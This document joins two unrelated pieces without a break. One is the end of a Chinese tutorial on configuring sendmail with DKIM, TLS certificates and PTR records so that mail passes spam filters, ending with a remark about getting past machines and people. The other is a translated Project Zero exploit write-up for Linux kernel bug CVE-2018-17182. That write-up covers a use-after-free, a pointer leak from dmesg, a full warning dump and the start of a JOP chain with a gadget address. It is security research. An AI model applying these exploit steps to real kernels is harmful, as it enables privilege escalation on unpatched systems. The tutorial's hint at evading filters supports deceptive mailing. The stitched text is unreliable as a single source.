`vim /etc/opendkim/TrustedHosts`在该文件添加下面一行。
127.0.0.1
localhost
mydomain.com
也可以直接用这个命令设置，但同样的你需要替换其中的 mydomain.com
echo 'default._domainkey.mydomain.com mydomain.com:default:/etc/opendkim/keys/mydomain.com/default.private' >> /etc/opendkim/KeyTable
echo '*@mydomain.com default._domainkey.mydomain.com' >> /etc/opendkim/SigningTable
echo 'mydomain.com' >> /etc/opendkim/TrustedHosts
#### 4、配置 sendmail
设置 sendmail 每一封邮件都要经过 OpenDKIM 签名
`vim /etc/mail/sendmail.mc` 在该文件添加下面一行。
INPUT_MAIL_FILTER(`opendkim', `S=inet:[email protected]')
> 其他的 sendmail 配置可以参考这篇
> <https://max.book118.com/html/2021/1018/8040072020004022.shtm>
`m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf` 使用 m4 生成Sendmail的配置文件。
启动需要的服务并查看他们的状态
systemctl restart sendmail saslauthd opendkim
systemctl status sendmail saslauthd opendkim
#### 5、添加 DNS 记录
这个是必须的，上面的配置是在每封邮件发出时进行签名，而这个 DNS 记录就是用来验证邮件里的 DKIM 签名的。其中我们需要注意的是这条 TXT 记录的
Name。
它的构成是 Select._domainkey。这里的 Select 其实就是上面第2小节里生成签名密钥命令里的 `-s default`
所以这里我们的命名为 default._domainkey。而内容可以通过 `cat
/etc/opendkim/keys/mydomain.com/default.txt`命令获取。
> 想进一步了解 DKIM 可以参考这篇 <https://www.konghaidashi.com/post/4376.html>
#### 6、发送测试
选择使用 sendEmail 服务进行邮件发送测试，注意不要和 sendmail 服务搞混。
`yum install sendEmail -y` 安装服务，使用下面的命令进行测试。
sendEmail -f [email protected] -t [email protected] -u TestSendEmail -m Hi -s 127.0.0.1
使用说明：
-f 表示发送者的邮箱
-t 表示接收者的邮箱
-cc 表示抄送发给谁
-bcc 表示暗抄送给谁
-o message-content-type=html 邮件内容的格式,html表示它是html格式
-o message-charset=utf8 邮件内容编码
-s 表示SMTP服务器的域名或者ip
-u 表示邮件的主题
-xu 表示SMTP验证的用户名
-xp 表示SMTP验证的密码(注意,这个密码貌似有限制,例如我用d!5neyland就不能被正确识别)
-m 邮件的内容
-a 要发送的附件
使用样例：
$ sendEmail -f [email protected] \
-t [email protected] \
-cc [email protected] \
-bcc [email protected] \
-o message-content-type=html \
-o message-charset=utf8 \
-s mailserver.com \
-u TestSendEmail \
-xu sender \
-xp xxxxxx \
-m 邮件的内容：测试命令行发送邮件 \
-a 附件
之后在邮件的头部就会包含 DKIM 标识了。
## 申请并设置 TLS/SSL 证书
> 有关邮件加密的相关描述
> [https://support.google.com/mail/answer/6330403?visit_id=638066867880173220-2329511212&p=tls&hl=zh-> Hans&rd=1](https://support.google.com/mail/answer/6330403?visit_id=638066867880173220-2329511212&p=tls&hl=zh-> Hans&rd=1)
加密邮件的方式有 S/MIME 增强型加密 和 TLS/SSL - 标准加密 两种，因为 S/MIME 比较繁琐，我们选择使用 TLS，即使用
TLS/SSL 自签证书加密。
### Acme 脚本申请证书
Acme 脚本申请证书，是我们用到的最常见的一种证书的申请方式，它有很多的申请方法，大家只需要找到一种适合自己的也就好了。
安装 Acme 脚本
`curl https://get.acme.sh | sh`
> 2021 年 6 月 17 日更新：从 acme.sh v 3.0.0 开始，acme.sh 使用 Zerossl 作为默认
> ca，您必须先注册帐户（一次），然后才能颁发新证书。
`~/.acme.sh/acme.sh --register-account -m [email protected]`
其中 [email protected]，ca 可以任意变更。
#### （1）两种方式申请验证
国内腾讯云的VPS，类似于 80、443、8080、8443 等WEB应用常用端口的使用都是需要备案的。然而很不幸的是，我们如果使用Web
验证申请证书，我们就需要使用 80 端口。如果你是使用的腾讯云的VPS，可以直接看第二种证书申请方式。
##### Web 验证申请证书
这种方式，需要开放 80 端口，并保持不被占用的状态，这种方式不支持泛域名。
申请SSL证书时，需要先进行验证，确保你是该域名的所有者。以下有三种方式，可以按照自己的情况来继续进行验证申请。
###### 80 端口空闲的验证申请
如果你还没有运行任何 web 服务, 80 端口是空闲的, 那么 Acme.sh 还能假装自己是一个 WebServer, 临时监听在 80
端口，完成验证。这里需要安装 socat 来完成伪装。
yum install socat -y
~/.acme.sh/acme.sh --issue -d mydomain.com -d mail.mydomain.com --standalone
###### Nginx 的方式验证申请
这种方式需要你的服务器上面已经部署了 Nginx 环境，并且保证你申请的域名已经在 Nginx 进行了 conf 部署。（被申请的域名可以正常被打开）
~/.acme.sh/acme.sh --issue -d mydomain.com -d mail.mydomain.com --nginx
###### http 的方式验证申请
这种方式需要你的服务器上面已经部署了网站环境。（被申请的域名可以正常被打开）
原理：Acme 自动在你的网站根目录下放置一个文件, （这个文件可以被互联网访问）来验证你的域名所有权,完成验证. 然后就可以生成证书了。
实例代码：（后面的路径请更改为你的 网站根目录 绝对路径 ）
~/.acme.sh/acme.sh --issue -d mydomain.com -d mail.mydomain.com --webroot /home/wwwroot/mydomain.com/
##### DNS 验证申请证书 【推荐】
这种方式的好处是, 你不需要任何服务器， 不需要任何公网 ip， 只需要 dns 的解析记录即可完成验证。坏处是，如果不同时配置 Automatic DNS
API，使用这种方式 acme.sh 将无法自动更新证书，每次都需要手动再次重新解析验证域名所有权。
Acme.sh 目前支持 cloudflare, dnspod, cloudxns, godaddy 以及 ovh
等数十种解析商。该方式可以申请多域名、泛域名证书，达到很多域名可以共用一张证书的目的。
###### 为域名更换 cloudflare 域名服务器
这里我们使用常见的 cloudflare 来申请。
首先进入到 cloudflare 控制台添加你的域名。<https://dash.cloudflare.com/>
填入你的域名然后点击添加。
然后到你的域名商控制台，将域名服务器更换成 cloudflare 提供的域名服务器。
差不多过半个钟或者一个钟就能解析了。 **需要注意，更换域名服务器未生效期间无法进行DNS验证SSL证书申请。**
在等待期间我们可以先设置API Keys。先到 <https://dash.cloudflare.com/profile/api-tokens>
export CF_Key="你的Global API Key"
export CF_Email="你注册CF账号用的邮箱"
设置完之后就可以申请证书了。
~/.acme.sh/acme.sh --issue --dns dns_cf -d mydomain.com -d *.mydomain.com
#### （2）更新证书
如果中间没有故障，最终可以申请到SSL证书，如图所示，生成了很多的文件。
禁止直接使用 ACME 目录下面的证书文件，因此我们需要复制到自己的文件夹内。
mkdir /etc/mail/certs
cp /root/.acme.sh/mydomain.com/* /etc/mail/certs/
~/.acme.sh/acme.sh --installcert -d mydomain.com --key-file /etc/mail/certs/mydomain.com.key --fullchain-file /etc/mail/certs/fullchain.cer
~/.acme.sh/acme.sh --upgrade --auto-upgrade
chmod -R 700 /etc/mail/certs
cd /etc/mail/certs
for i in `ls | grep '.cer'`;do mv $i `echo $i | sed 's/\.[^.]*$//'`.pem;done;
wget http://www.cacert.org/revoke.crl
> 为了解决 STARTTLS: CRLFile missing 问题，这里我下载了 revoke.crl
> 文件。参考<http://www.linuxweblog.com/blogs/sandip/20071019/starttls-crlfile-> missing-resolved>
我们需要从 OpenSSL 那里获取到 `ca-bundle.crt` 文件。
> 里面标注了常见目录 <http://gagravarr.org/writing/openssl-> certs/others.shtml#selfsigned-openssl>
我们可以直接通过 `openssl version -d` 找到 SSL 文件存放目录
而`ca-bundle.crt` 文件一般放置于 certs 目录下
cp /etc/pki/tls/certs/ca-bundle.crt /etc/mail/certs/ca-bundle.crt
echo /etc/mail/certs/fullchain.pem >> /etc/mail/certs/ca-bundle.crt
ln -sf ca-bundle.crt `openssl x509 -hash -noout < ca-bundle.crt`.0
vim ca-bundle.crt
将 `fullchain.pem`追加到 `ca-bundle.crt`，需要注意不能直接复制保存，而是在每一个证书开头加一个换行。
`vim /etc/mail/sendmail.mc`对照下面修改项进行修改
dnl define(`confLOG_LEVEL', `20')dnl
define(`CERT_DIR', `/etc/mail/certs')dnl
define(`confSERVER_CERT', `CERT_DIR/fullchain.pem')dnl
define(`confSERVER_KEY', `CERT_DIR/mydomain.com.key')dnl
define(`confCLIENT_CERT', `CERT_DIR/fullchain.pem')dnl
define(`confCLIENT_KEY', `CERT_DIR/mydomain.com.key')dnl
define(`confCACERT_PATH', `CERT_DIR')dnl
define(`confCACERT', `CERT_DIR/ca-bundle.crt')dnl
define(`confCRL', `CERT_DIR/revoke.crl')
使用 m4 生成Sendmail的配置文件并重启 sendmail 服务。
m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf
systemctl restart sendmail
systemctl status sendmail
通过发送邮件查看日志测试 SSL 验证。
sendmail [email protected]
From: [email protected]
To: [email protected]
HI
.
注意最后的 `.`
tail -20 /var/log/maillog
看到接收方邮件服务器验证 `verify=OK` 即可。
如果是 `verify=FAIL`可以根据 `verifymsg`来判断问题。
### FreeSSL 申请证书
这种方式申请证书，比较简单，而且还可以申请到为期一年的 “亚洲诚信” 的证书，但是，目前此网站申请证书需要进行手机验证，这里不演示。
## 设置 PTR 反向解析 【重点】
反向域名解析纪录(RDNS)就是和正向的DNS解析相反的一种反向解析，正向DNS解析把域名解析成IP地址，RDNS恰恰相反，就是反过来把 IP
解析成域名。反向域名格式如：X.X.X.in-addr.arpa。可逆 DNS(RDNS)的原理和 DNS 解析是完全相同的。
> 这里详细介绍了 PTR 拦截垃圾邮件是如何运作的。[https://www.800188.com/index.php/home/reference-> news/86-technology/2044-rdns-3?tmpl=component&print=1](https://www.800188.com/index.php/home/reference-> news/86-technology/2044-rdns-3?tmpl=component&print=1)
国内的VPS我不清楚有哪些可以设置 PTR，像腾讯云如果需要设置 PTR
是需要付费的，如果你使用的是腾讯云可以看官方的说明。<https://cloud.tencent.com/document/product/302/79828>
为了能够免费设置 PTR 我特地从 hostinger 供应商购买了VPS。
> 这个 hostinger 供应商提供的最优惠价格都是购买4年的，如果你购买一个月那价格可能会是个灾难。
购买后到 <https://hpanel.hostinger.com/> 开始设置你的服务器。
在
《2021中国企业邮箱安全性研究报告》中提到一段话：“在所有钓鱼邮件中，来自美国的钓鱼邮件最多，占国内企业用户收到的钓鱼邮件的41.0%；其次是中国，约占11.7%；新加坡排名第三，约占5.3%。”新加坡有垃圾邮件法，而美国监管不够严格。这里选择美国。
后面选择 Centos 7 系统镜像，在设置机器名字时，我们可以写 mail.mydomain.com，就可以跳过设置 VPS
主机名。创建完成后按照官方说明设置 PTR <https://support.hostinger.com/en/articles/4805528-how-to-use-ptr-at-vps>，IPv6的也设置上。
在设置解析的域名，我们 **需要填写 mail.mydomain.com 而不是 mydomain.com。**
检测方式：`nslookup VPSIP`
# 此篇结语
通过机器对垃圾邮件进行区分，区分的规则需要我们了解。这有很多校验项，我们不需要费尽心思将每条校验项做好。但如果不按照规则来，很有可能没法进入对方的邮箱或者当成垃圾邮件。邮件可信除了邮件身份可信校验之外，还有针对邮件内容进行的可信校验，这个涉及的内容太多，不同场景不同话术，不仅要绕过机器还要绕过人心。 | 社区文章 |
本文是[A cache invalidation bug in Linux memory
management](https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html)的翻译文章。
# 前言
本文介绍了一种利用从内核版本3.16以来就存在的Linux内核漏洞（CVE-2018-17182）的方法。
虽然这个漏洞本身在代码中从相对较强的沙盒上下文也可以访问，但本文仅介绍在使用未配置为高安全性的Linux内核的环境中利用它的方法。 （具体来说是Ubuntu
18.04与内核linux-image-4.15.0-34-generic，版本为4.15.0-34.37）。 这将演示内核配置如何影响利用内核漏洞的难度。
漏洞报告和漏洞利用已提交到我们的issue tracker中（[issue
1664](https://bugs.chromium.org/p/project-zero/issues/detail?id=1664)）
该漏洞在较新的稳定版本4.18.9,4.14.71,4.9.128,4.4.157和3.16.58中修复。
# The bug
每当发生用户空间页错误时，比如当必须根据需要对页面进行分页时，Linux内核必须查找包含故障地址的VMA（虚拟内存区域; struct
vm_area_struct）以确定处理故障的措施。而查找VMA的慢路径（在find_vma()中）必须走VMA的红黑树。
为了减少性能损失，Linux还有一个快速路径，如果最近使用过VMA，它可以绕过该树来遍历。
快速路径的实现也一直在变化。从[版本3.15](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=615d6e8756c87149f2d4c1b93d471bca002bd849)开始，Linux使用有四个插槽的per-thread VMA缓存，在mm/vmacache.c和include/linux/vmacache.h中实现。
每当通过慢路径执行查找成功时，vmacache_update()会在数组current->
vmacache.vmas中存储指向VMA的指针，从而允许下一次查找使用快速路径。
请注意，VMA缓存是按线程进行的，但VMA与整个进程相关联（更准确地说，使用结构mm_struct;从现在开始，这种区别将在很大程度上被忽略，因为它与此漏洞无关）。
因此，当释放VMA时，必须使所有线程的VMA高速缓存无效 - 否则，下一个VMA查找将指向空指针。
但是，由于进程可以包含许多线程，因此只需遍历所有线程的VMA缓存就会出现性能问题。
为了解决这个问题，struct mm_struct和per-thread的struct vmacache都标有序列号;
当VMA查找快速路径在vmacache_valid()中发现current->vmacache.seqnum和current->mm->vmacache_seqnum不匹配时，它会擦除当前线程的VMA缓存的内容并更新其序列号。
mm_struct和VMA缓存的序列号长度只有32位，这意味着它们可能会溢出。
为了确保当current->mm->vmacache_seqnum实际增加232次时VMA缓存不能错误地显示为有效，vmacache_invalidate()（递增current->mm->vmacache_seqnum的帮助器）有一个特殊情况：
当current->mm->vmacache_seqnum换行为零时，它会调用vmacache_flush_all()来擦除与current->mm关联的所有VMA缓存的内容。
执行vmacache_flush_all()非常耗时：它会遍历整个机器上的每个线程，检查它与哪个struct
mm_struct相关联，然后在必要时刷新线程的VMA缓存。
在版本3.16中，添加了一个[优化](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6b4ebc3a9078c5b7b8c4cf495a0b1d2d0e0bfe7a)：如果结构mm_struct仅与单个线程相关联，则vmacache_flush_all()将不执行任何操作，具体取决于每个VMA高速缓存失效之前是否进行VMA查找;
因此，在单线程进程中，VMA缓存的序列号始终接近mm_struct的序列号：
/*
* 单线程任务无需迭代整个进程列表。
* 我们也可以避免刷新，因为mm的seqnum增加了，不必担心其他线程的seqnum。
* 当前的刷新将在下次查找时发生。
*/
if (atomic_read(&mm->mm_users) == 1)
return;
但是，这种优化是不正确的，因为它没有考虑如果先前的单线程进程在mm_struct的序列号已经置零后立即创建新线程会发生什么。
在这种情况下，第一个线程的VMA缓存的序列号仍然是0xffffffff，第二个线程可以再次驱动mm_struct的序列号到0xffffffff。
此时，第一个线程的VMA缓存（可以包含空指针）将再次被视为有效，允许在第一个线程的VMA缓存中使用释放的VMA指针。
这个漏洞的[修复](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/mm/vmacache.c?id=7a9cdebdcc17e426fb5287e4a82db1dfe86339b2)通过将序列号更改为64位，从而使溢出不可行，并删除溢出处理逻辑来实现。
# 可达性和影响力
从根本上说，这个漏洞可以由任何可以运行足够长时间来溢出引用计数器的进程触发（如果MAP_FIXED可用，则大约一个小时）并且能够使用mmap()/munmap()（管理内存映射）和clone()（创建一个线程）。这些系统调用不需要任何权限，即使在seccomp-sandboxed上下文中也经常允许使用它们，例如Chrome渲染器沙箱（[mmap](https://cs.chromium.org/chromium/src/sandbox/linux/seccomp-bpf-helpers/baseline_policy.cc?l=192)，[munmap](https://cs.chromium.org/chromium/src/sandbox/linux/seccomp-bpf-helpers/syscall_sets.cc?l=498&dr=C)，[clone](https://cs.chromium.org/chromium/src/sandbox/linux/seccomp-bpf-helpers/baseline_policy.cc?l=144)），主gVisor主机组件的[沙箱](https://github.com/google/gvisor/blob/master/runsc/boot/filter/config.go)以及Docker的[seccomp策略](https://github.com/moby/moby/blob/master/profiles/seccomp/seccomp_default.go)。
为了简单起见，我的漏洞使用了各种其他内核接口，因此不仅仅是在这些沙箱内部工作;
特别是，它使用/dev/kmsg读取dmesg日志，并使用eBPF阵列通过用户控制的，可变的单页分配来垃圾邮件内核的页面分配器。
如果是愿意花更多时间来进行攻击的攻击者应该避免使用此类接口。
有趣的是，看起来[Docker在其默认配置中不会阻止容器访问主机的dmesg日志](https://github.com/moby/moby/issues/37897)，如果内核允许普通用户访问dmesg
-而容器中不存在/dev/kmsg，由于某种原因，[seccomp策略将syslog()系统调用列入白名单](https://github.com/moby/moby/blob/47dfff68e4365668279e235bf8c7778b637f2517/profiles/seccomp/seccomp_default.go#L325)。
# BUG_ON(), WARN_ON_ONCE(),和dmesg
首次use-after-free访问的功能是vmacache_find()。[首次添加此函数时](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/mm/vmacache.c?id=615d6e8756c87149f2d4c1b93d471bca002bd849)-在引入漏洞之前-它按如下方式访问VMA缓存：
for (i = 0; i < VMACACHE_SIZE; i++) {
struct vm_area_struct *vma = current->vmacache[i];
if (vma && vma->vm_start <= addr && vma->vm_end > addr) {
BUG_ON(vma->vm_mm != mm);
return vma;
}
}
当此代码遇到缓存的VMA，其边界包含提供的地址addr时，它检查VMA的vm_mm指针是否与预期的mm_struct匹配 -除非发生内存安全问题，否则应始终如此 - 如果没有，则以BUG_ON()断言失败而终止。
BUG_ON()旨在处理内核线程检测到严重问题的情况，这些问题无法通过从当前上下文中消失来干净地处理。在默认的上游内核配置中，BUG_ON()通常会将带有寄存器转储的回溯打印到dmesg日志缓冲区，然后强制终止当前线程。
这有时会阻止系统的其余部分继续正常工作 - 例如，如果崩溃的代码持有一个重要的锁，那么任何试图获取该锁的其他线程将会死锁 -但它通常能成功地使系统的其余部分保持在合理可用的状态。 只有当内核检测到崩溃处于关键环境（例如中断处理程序）时，才会导致整个系统崩溃。
相同的处理程序代码用于处理内核代码中的意外崩溃，例如页面错误和非白名单地址的一般保护错误：默认情况下，如果可能，内核将尝试仅终止有问题的线程。
内核崩溃的处理是可用性，可靠性和安全性之间的权衡。
系统所有者可能希望系统尽可能长时间地运行，即使让系统的某些部分崩溃。如果发生突然的内核恐慌则会导致重要服务的数据丢失或停机。
同样，系统所有者也许希望在没有外部调试器的情况下调试实时系统上的内核错误; 如果在触发bug后整个系统终止，则可能更难以正确调试问题。
另一方面，企图利用内核漏洞的攻击者可能会获得在不触发系统重启的情况下多次尝试攻击的能力;
并且当攻击者能够读取第一次攻击产生的崩溃日志时，甚至可以利用该信息进行更复杂的二次攻击。
内核提供了两个可用于调整此行为的sysctl，具体取决于所需的权衡：
* 当BUG_ON()断言触发或内核崩溃时，kernel.panic_on_oops会自动导致内核崩溃; 可以使用构建配置变量CONFIG_PANIC_ON_OOPS配置其初始值。 默认情况下它在上游内核中是关闭的 - 默认情况下在分发中启用它可能是一个坏主意 - 但它就是（比如[由Android启用](https://android.googlesource.com/platform/system/core/+/fa14d21ca44377f2c70769b6ebb2cc28a65d53d7/rootdir/init.rc#118)）
* kernel.dmesg_restrict控制非root用户是否可以访问dmesg日志，其中包括内核崩溃的寄存器转储和堆栈跟踪; 可以使用构建配置变量CONFIG_SECURITY_DMESG_RESTRICT配置其初始值。 它在上游内核中默认关闭，但是可以由某些分发启用，比如[Debian](https://salsa.debian.org/kernel-team/linux/raw/master/debian/config/config)。 （Android依靠SELinux阻止访问dmesg。）
举个例子，Ubuntu就无法实现这些功能。
我们在提交的同一个月内对之前的代码进行了[修改](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/mm/vmacache.c?id=50f5aa8a9b248fa4262cf379863ec9a531b49737)：
for (i = 0; i < VMACACHE_SIZE; i++) {
struct vm_area_struct *vma = current->vmacache[i];
- if (vma && vma->vm_start <= addr && vma->vm_end > addr) {
- BUG_ON(vma->vm_mm != mm);
+ if (!vma)
+ continue;
+ if (WARN_ON_ONCE(vma->vm_mm != mm))
+ break;
+ if (vma->vm_start <= addr && vma->vm_end > addr)
return vma;
- }
}
这个修改过的代码正在随Ubuntu这样的发行版发布中。
这里的第一个变化是空指针的健全性检查在地址比较之前。 第二个更改更有趣：BUG_ON()替换为WARN_ON_ONCE()。
WARN_ON_ONCE()将调试信息输出到dmesg，类似于BUG_ON()打印的内容。
与BUG_ON()的区别在于WARN_ON_ONCE()仅在第一次触发时打印调试信息，并且继续执行：现在，当内核在VMA缓存查找快速路径中检测到空指针时 -换句话说，当它启发式地检测到use-after-free后 - ，它只是从快速路径中脱离出来，然后又回到了红黑树的路径中。 该过程正常运行。
这符合内核的策略，即默认情况下尽可能地保持系统运行; 如果由于某种原因在这里触发了use-after-free漏洞，内核可能会启发式地减轻其影响并保持该过程正常工作。
即使内核发现了内存损坏，也只打印警告的策略对于当内核注意到与安全相关的事件(如内核内存损坏)时应该引起内核恐慌的系统来说是有问题的。简单地使WARN()触发内核恐慌并不是真正的选项，因为WARN()也用于对内核安全性不重要的各种事件。出于这个原因，在与安全相关的地方用CHECK_DATA_CORRUPTION()来替代WARN_ON()的一些功能，它允许在内核配置时在BUG()和WARN()之间切换行为。然而，CHECK_DATA_CORRUPTION()只在链表操作代码和addr_limit_user_check()中使用;例如，VMA缓存中的检查仍然使用经典的WARN_ON_ONCE()。
对这个函数做了第三个重要的[改变](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/mm/vmacache.c?id=ddbf369c0a33924f76d092985bd20d9310f43d7f);然而，这种变化是相对较新的，将首先出现在4.19内核中，该内核尚未发布，因此它与攻击当前部署的内核无关。
for (i = 0; i < VMACACHE_SIZE; i++) {
- struct vm_area_struct *vma = current->vmacache.vmas[i];
+ struct vm_area_struct *vma = current->vmacache.vmas[idx];
- if (!vma)
- continue;
- if (WARN_ON_ONCE(vma->vm_mm != mm))
- break;
- if (vma->vm_start <= addr && vma->vm_end > addr) {
- count_vm_vmacache_event(VMACACHE_FIND_HITS);
- return vma;
+ if (vma) {
+#ifdef CONFIG_DEBUG_VM_VMACACHE
+ if (WARN_ON_ONCE(vma->vm_mm != mm))
+ break;
+#endif
+ if (vma->vm_start <= addr && vma->vm_end > addr) {
+ count_vm_vmacache_event(VMACACHE_FIND_HITS);
+ return vma;
+ }
}
+ if (++idx == VMACACHE_SIZE)
+ idx = 0;
}
在这次修改之后，将跳过完整性检查，除非内核是用CONFIG_DEBUG_VM_VMACACHE选项构建的。
# 漏洞利用：增加序列号
该利用必须增加大约233次序列号。因此，用于增加序列号的原语的效率对整个利用程序的运行来说非常重要。
可能会导致每个系统调用产生两个序列号增量，如下所示:创建一个跨越三个页面的匿名VMA。然后重复使用带有MAP_FIXED的mmap()，用等效的VMA替换中间页面。这导致mmap()首先将VMA分割为三个VMA，然后替换中间的VMA，然后再次合并三个VMA，从而导致在合并VMA时删除的两个VMA的VMA缓存失效。
# 漏洞利用：替换VMA
枚举所有能利用use-after-free，而不释放slab的后备页（根据/proc/slabinfo，Ubuntu内核每个vm_area_struct
slab使用一个页）回到伙伴分配器/页分配器的方法：
1. 在同一个进程中重用vm_area_struct。然后进程就可以使用这个VMA，但是这不会产生任何有趣的结果，因为进程的VMA缓存无论如何都可以包含指向VMA的指针。
2. 释放vm_area_struct，使其位于slab分配器的空闲列表上，然后尝试访问它。不过，至少Ubuntu使用的SLUB分配器用一个内核地址替换了vm_area_struct的前8个字节(其中包含vm_start，用户空间开始地址)。这使得VMA缓存查找函数不可能返回它，因为条件VMA ->vm_start <= addr && VMA ->vm_end > addr无法实现，因此没有发生任何有趣的事情。
3. 释放vm_area_struct，使其位于slab分配器的空闲列表上，然后在另一个进程中分配它。这将导致命中WARN_ON_ONCE()(除了一个非常窄的竞争条件，不容易反复触发)，因此VMA缓存查找函数不会返回VMA。
4. 释放vm_area_struct，使其位于slab分配器的freelist上，然后从已与vm_area_struct slab合并的slab进行分配。这需要存在aliasing slab; 在Ubuntu 18.04 VM中，似乎不存在这样的slab。
因此，要利用这个漏洞，有必要将备份页释放回页面分配器，然后以某种方式重新分配页面，以允许在其中放置受控数据。可以使用各种内核接口；例如：
管道页：
* 优点:在分配上不擦除
* 优点:如果splice()可用，则允许在页面内任意偏移位置进行写入
* 优点:页面对齐
* 缺点:如果不首先释放页面，然后重新分配它，就不能执行多次写操作
BPF maps:
* 优点：可以从用户空间反复读写内容
* 优点：页面对齐
* 缺点：在分配上擦除
我们的利用代码将使用BPF maps
# 漏洞利用：从dmesg泄露指针
我们的漏洞利用想要获取下面的信息：
* mm_struct的地址
* use-after-free的VMA地址
* 加载内核代码的地址
至少在Ubuntu
18.04内核中，前两个在WARN_ON_ONCE()触发的寄存器转储中直接可见，因此可以很容易地从dmesg中提取:mm_struct的地址在RDI中，VMA的地址在RAX中。然而，指令指针并不是直接可见的，因为RIP和堆栈是符号化的，并且没有一个通用寄存器包含指令指针。
内核回溯可以包含多组寄存器集:当堆栈回溯逻辑遇到中断帧时，它会生成另一个寄存器转储。由于我们可以通过用户空间地址上的页错误触发WARN_ON_ONCE()，并且用户空间上的页错误可以发生在任何用户空间内存访问的系统调用上下文中（通过copy_from_user()/
copy_to_user()/…），我们可以选择一个具有相关信息的调用点。事实证明，当R8仍然包含指向eventfd_fops结构的指针时，写入eventfd会触发一个usercopy。
当利用代码运行时，它将VMA替换为零内存，然后对损坏的VMA缓存触发VMA查找，故意触发WARN_ON_ONCE()。这产生了一个警告，看起来如下:
[ 3482.271265] WARNING: CPU: 0 PID: 1871 at /build/linux-SlLHxe/linux-4.15.0/mm/vmacache.c:102 vmacache_find+0x9c/0xb0
[...]
[ 3482.271298] RIP: 0010:vmacache_find+0x9c/0xb0
[ 3482.271299] RSP: 0018:ffff9e0bc2263c60 EFLAGS: 00010203
[ 3482.271300] RAX: ffff8c7caf1d61a0 RBX: 00007fffffffd000 RCX: 0000000000000002
[ 3482.271301] RDX: 0000000000000002 RSI: 00007fffffffd000 RDI: ffff8c7c214c7380
[ 3482.271301] RBP: ffff9e0bc2263c60 R08: 0000000000000000 R09: 0000000000000000
[ 3482.271302] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8c7c214c7380
[ 3482.271303] R13: ffff9e0bc2263d58 R14: ffff8c7c214c7380 R15: 0000000000000014
[ 3482.271304] FS: 00007f58c7bf6a80(0000) GS:ffff8c7cbfc00000(0000) knlGS:0000000000000000
[ 3482.271305] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 3482.271305] CR2: 00007fffffffd000 CR3: 00000000a143c004 CR4: 00000000003606f0
[ 3482.271308] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 3482.271309] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 3482.271309] Call Trace:
[ 3482.271314] find_vma+0x1b/0x70
[ 3482.271318] __do_page_fault+0x174/0x4d0
[ 3482.271320] do_page_fault+0x2e/0xe0
[ 3482.271323] do_async_page_fault+0x51/0x80
[ 3482.271326] async_page_fault+0x25/0x50
[ 3482.271329] RIP: 0010:copy_user_generic_unrolled+0x86/0xc0
[ 3482.271330] RSP: 0018:ffff9e0bc2263e08 EFLAGS: 00050202
[ 3482.271330] RAX: 00007fffffffd008 RBX: 0000000000000008 RCX: 0000000000000001
[ 3482.271331] RDX: 0000000000000000 RSI: 00007fffffffd000 RDI: ffff9e0bc2263e30
[ 3482.271332] RBP: ffff9e0bc2263e20 R08: ffffffffa7243680 R09: 0000000000000002
[ 3482.271333] R10: ffff8c7bb4497738 R11: 0000000000000000 R12: ffff9e0bc2263e30
[ 3482.271333] R13: ffff8c7bb4497700 R14: ffff8c7cb7a72d80 R15: ffff8c7bb4497700
[ 3482.271337] ? _copy_from_user+0x3e/0x60
[ 3482.271340] eventfd_write+0x74/0x270
[ 3482.271343] ? common_file_perm+0x58/0x160
[ 3482.271345] ? wake_up_q+0x80/0x80
[ 3482.271347] __vfs_write+0x1b/0x40
[ 3482.271348] vfs_write+0xb1/0x1a0
[ 3482.271349] SyS_write+0x55/0xc0
[ 3482.271353] do_syscall_64+0x73/0x130
[ 3482.271355] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[ 3482.271356] RIP: 0033:0x55a2e8ed76a6
[ 3482.271357] RSP: 002b:00007ffe71367ec8 EFLAGS: 00000202 ORIG_RAX: 0000000000000001
[ 3482.271358] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 000055a2e8ed76a6
[ 3482.271358] RDX: 0000000000000008 RSI: 00007fffffffd000 RDI: 0000000000000003
[ 3482.271359] RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
[ 3482.271359] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffe71367ec8
[ 3482.271360] R13: 00007fffffffd000 R14: 0000000000000009 R15: 0000000000000000
[ 3482.271361] Code: 00 48 8b 84 c8 10 08 00 00 48 85 c0 74 11 48 39 78 40 75 17 48 39 30 77 06 48 39 70 08 77 8d 83 c2 01 83 fa 04 75 ce 31 c0 5d c3 <0f> 0b 31 c0 5d c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f
[ 3482.271381] ---[ end trace bf256b6e27ee4552 ]---
此时，该漏洞可以创建一个包含正确mm_struct指针(从RDI泄漏)的伪VMA。它还通过引用伪数据结构来填充其他字段(通过使用从RAX的泄漏的VMA指针创建指向伪VMA的指针)以及指向内核代码的指针(使用从页错误异常框架泄漏的R8绕过KASLR)。
# 漏洞利用：JOP（最无聊的部分）
通过利用在现有的页面上覆盖一个伪可写的VMA的能力，或者类似的东西，很有可能以一种非常优雅的方式利用这个漏洞；然而，这种利用只是使用了经典的面向跳转编程。
为了再次触发use-after-free，对没有可分页条目的地址执行写入内存访问。此时，内核的页面错误处理程序通过page_fault ->
do_page_fault -> **do_page_fault - > handle_mm_fault -> **handle_mm_fault ->
handle_pte_fault -> do_fault -> do_shared_fault -> __do_fault 执行间接调用:
static int __do_fault(struct vm_fault *vmf)
{
struct vm_area_struct *vma = vmf->vma;
int ret;
ret = vma->vm_ops->fault(vmf);
vma是我们控制的VMA结构，所以在这一点上，我们可以获得指令指针控制。R13包含一个指向vma的指针。下面使用的JOP链;它相当粗糙(例如，它会在完成任务后崩溃)，但它确实有效。
首先，移动VMA指针到RDI：
ffffffff810b5c21: 49 8b 45 70 mov rax,QWORD PTR [r13+0x70]
